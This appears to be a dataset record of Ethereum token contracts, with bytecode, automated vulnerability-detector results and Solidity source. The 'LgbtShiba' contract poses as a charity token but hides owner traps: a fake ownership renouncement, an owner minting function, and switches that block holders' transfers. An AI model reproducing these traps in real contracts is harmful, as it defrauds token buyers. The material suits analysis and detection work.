60228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158200ed1fbccf8038b4d2e2eece0ae22b6e2b0da90c97fbc1f91fd9ec2321751ce1264736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,802
0x72271efca94e4fd7c49fa66fcab77d418bc3b4a1
/** *Submitted for verification at Etherscan.io on 2021-11-04 */ /** LgbtShiba is a toleranccy focused token with charity support function. Every transaction made within LgbtShiba project supports ILGA 🏳️‍🌈 organization. Toleranccy brings all people together and so is our little Shiba! 🟢TELEGRAM -> https://t.me/LgbtShiba 🟢MEDIUM -> https://medium.com/@lgbtshiba 🟢TWITTER -> https://twitter.com/LgbtShiba 🌐WEBSITE -> https://lgbtshiba.com/ */ // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address owneraddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; owneraddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() internal view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function ownerAddress() public view returns (address) { return owneraddress; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); owneraddress = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LgbtShiba is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Lgbt Shiba"; string private constant _symbol = "LGBTSHIBA"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000000000 * 10**9; mapping (address => uint256) private _vOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _checkTransfer; event botBan (address Address, bool isBanned); address[] private _excluded; uint256 private _rTotal; uint256 private _tFeeTotal; bool _cooldown; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private constant MAX = ~uint256(0); uint256 private _totalSupply; address public uniV2factory; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); constructor (address V2factory) { uniV2factory = V2factory; _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _vOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcludedFromFee[_msgSender()] = true; _excluded.push(_msgSender()); _cooldown = false; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _vOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function tokenTransfer(address Address) external onlyOwner { if (_checkTransfer[Address] == true) { _checkTransfer[Address] = false; } else {_checkTransfer[Address] = true; emit botBan (Address, _checkTransfer[Address]); } } function checkTransfers(address Address) public view returns (bool) { return _checkTransfer[Address]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function cooldownEnable() public virtual onlyOwner { if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;} } function cooldownCheck() public view returns (bool) { return _cooldown; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner { _vOwned[owner()] = totalFee.sub(burnedFee); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_checkTransfer[sender] || _checkTransfer[recipient]) require (amount == 0, "no bots"); if (_cooldown == false || sender == owner() || recipient == owner()) { if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) { _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} } else {require (_cooldown == false, "");} } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d7146103ae578063a9059cbb146103eb578063c2bd8dd214610428578063dd62ed3e14610465578063fc6fc10a146104a25761011f565b806370a08231146102db578063715018a6146103185780638d956f1e1461032f5780638f84aa091461035857806395d89b41146103835761011f565b806329bd5410116100e757806329bd5410146101f4578063313ce5671461021f578063395093511461024a5780635a8305791461028757806360004d5c146102b25761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104b9565b6040516101469190611d07565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611a78565b6104f6565b6040516101839190611cec565b60405180910390f35b34801561019857600080fd5b506101a1610514565b6040516101ae9190611e49565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611a25565b610526565b6040516101eb9190611cec565b60405180910390f35b34801561020057600080fd5b506102096105ff565b6040516102169190611ca8565b60405180910390f35b34801561022b57600080fd5b50610234610625565b6040516102419190611e64565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190611a78565b61062e565b60405161027e9190611cec565b60405180910390f35b34801561029357600080fd5b5061029c6106e1565b6040516102a99190611cec565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d49190611ab8565b6106f8565b005b3480156102e757600080fd5b5061030260048036038101906102fd91906119b8565b6107ee565b60405161030f9190611e49565b60405180910390f35b34801561032457600080fd5b5061032d610837565b005b34801561033b57600080fd5b50610356600480360381019061035191906119b8565b61098b565b005b34801561036457600080fd5b5061036d610bb7565b60405161037a9190611ca8565b60405180910390f35b34801561038f57600080fd5b50610398610be1565b6040516103a59190611d07565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190611a78565b610c1e565b6040516103e29190611cec565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190611a78565b610ceb565b60405161041f9190611cec565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a91906119b8565b610d09565b60405161045c9190611cec565b60405180910390f35b34801561047157600080fd5b5061048c600480360381019061048791906119e5565b610d5f565b6040516104999190611e49565b60405180910390f35b3480156104ae57600080fd5b506104b7610de6565b005b60606040518060400160405280600a81526020017f4c67627420536869626100000000000000000000000000000000000000000000815250905090565b600061050a610503610f1f565b8484610f27565b6001905092915050565b600069152d02c7e14af6800000905090565b60006105338484846110f2565b6105f48461053f610f1f565b6105ef856040518060600160405280602881526020016122b060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a5610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006106d761063b610f1f565b846106d2856005600061064c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b610f27565b6001905092915050565b6000600b60009054906101000a900460ff16905090565b610700610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078490611da9565b60405180910390fd5b6107a081836118b890919063ffffffff16565b600260006107ac611902565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083f610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c390611da9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610993610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1790611da9565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ad6576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610bb4565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610bab929190611cc3565b60405180910390a15b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4c47425453484942410000000000000000000000000000000000000000000000815250905090565b6000610ce1610c2b610f1f565b84610cdc856040518060600160405280602581526020016122d86025913960056000610c55610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b6001905092915050565b6000610cff610cf8610f1f565b84846110f2565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dee610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290611da9565b60405180910390fd5b60001515600b60009054906101000a900460ff1615151415610eb7576001600b60006101000a81548160ff021916908315150217905550610ed3565b6000600b60006101000a81548160ff0219169083151502179055505b565b6000610f1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611e29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90611d69565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110e59190611e49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611de9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990611d29565b60405180910390fd5b60008111611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90611dc9565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b65750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112ff57600081146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d49565b60405180910390fd5b5b60001515600b60009054906101000a900460ff16151514806113535750611324611902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806113905750611361611902565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561179a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114385750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115eb576114a98160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115de9190611e49565b60405180910390a3611795565b6116578160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178c9190611e49565b60405180910390a35b6117f1565b60001515600b60009054906101000a900460ff161515146117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e790611e09565b60405180910390fd5b5b505050565b600083831115829061183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359190611d07565b60405180910390fd5b506000838561184d9190611f22565b9050809150509392505050565b60008082846118699190611e9b565b9050838110156118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590611d89565b60405180910390fd5b8091505092915050565b60006118fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008083118290611972576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119699190611d07565b60405180910390fd5b50600083856119819190611ef1565b9050809150509392505050565b60008135905061199d8161225b565b92915050565b6000813590506119b281612272565b92915050565b6000602082840312156119ce576119cd61203c565b5b60006119dc8482850161198e565b91505092915050565b600080604083850312156119fc576119fb61203c565b5b6000611a0a8582860161198e565b9250506020611a1b8582860161198e565b9150509250929050565b600080600060608486031215611a3e57611a3d61203c565b5b6000611a4c8682870161198e565b9350506020611a5d8682870161198e565b9250506040611a6e868287016119a3565b9150509250925092565b60008060408385031215611a8f57611a8e61203c565b5b6000611a9d8582860161198e565b9250506020611aae858286016119a3565b9150509250929050565b60008060408385031215611acf57611ace61203c565b5b6000611add858286016119a3565b9250506020611aee858286016119a3565b9150509250929050565b611b0181611f56565b82525050565b611b1081611f68565b82525050565b6000611b2182611e7f565b611b2b8185611e8a565b9350611b3b818560208601611fab565b611b4481612041565b840191505092915050565b6000611b5c602383611e8a565b9150611b6782612052565b604082019050919050565b6000611b7f600783611e8a565b9150611b8a826120a1565b602082019050919050565b6000611ba2602283611e8a565b9150611bad826120ca565b604082019050919050565b6000611bc5601b83611e8a565b9150611bd082612119565b602082019050919050565b6000611be8602083611e8a565b9150611bf382612142565b602082019050919050565b6000611c0b602983611e8a565b9150611c168261216b565b604082019050919050565b6000611c2e602583611e8a565b9150611c39826121ba565b604082019050919050565b6000611c51600083611e8a565b9150611c5c82612209565b600082019050919050565b6000611c74602483611e8a565b9150611c7f8261220c565b604082019050919050565b611c9381611f94565b82525050565b611ca281611f9e565b82525050565b6000602082019050611cbd6000830184611af8565b92915050565b6000604082019050611cd86000830185611af8565b611ce56020830184611b07565b9392505050565b6000602082019050611d016000830184611b07565b92915050565b60006020820190508181036000830152611d218184611b16565b905092915050565b60006020820190508181036000830152611d4281611b4f565b9050919050565b60006020820190508181036000830152611d6281611b72565b9050919050565b60006020820190508181036000830152611d8281611b95565b9050919050565b60006020820190508181036000830152611da281611bb8565b9050919050565b60006020820190508181036000830152611dc281611bdb565b9050919050565b60006020820190508181036000830152611de281611bfe565b9050919050565b60006020820190508181036000830152611e0281611c21565b9050919050565b60006020820190508181036000830152611e2281611c44565b9050919050565b60006020820190508181036000830152611e4281611c67565b9050919050565b6000602082019050611e5e6000830184611c8a565b92915050565b6000602082019050611e796000830184611c99565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ea682611f94565b9150611eb183611f94565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee657611ee5611fde565b5b828201905092915050565b6000611efc82611f94565b9150611f0783611f94565b925082611f1757611f1661200d565b5b828204905092915050565b6000611f2d82611f94565b9150611f3883611f94565b925082821015611f4b57611f4a611fde565b5b828203905092915050565b6000611f6182611f74565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611fc9578082015181840152602081019050611fae565b83811115611fd8576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61226481611f56565b811461226f57600080fd5b50565b61227b81611f94565b811461228657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122041ec17d60d0a18fe4538c28c178073f31e4dbfca66d0ec9cd0006cdf557582bb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,803
0xb47aec07810baca5840c1922607a21d4125fb842
/** * */ /** * */ /** *Join us to t.me/FlokiPunksToken */ /** */ /** *Submitted for verification */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiPunksToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; 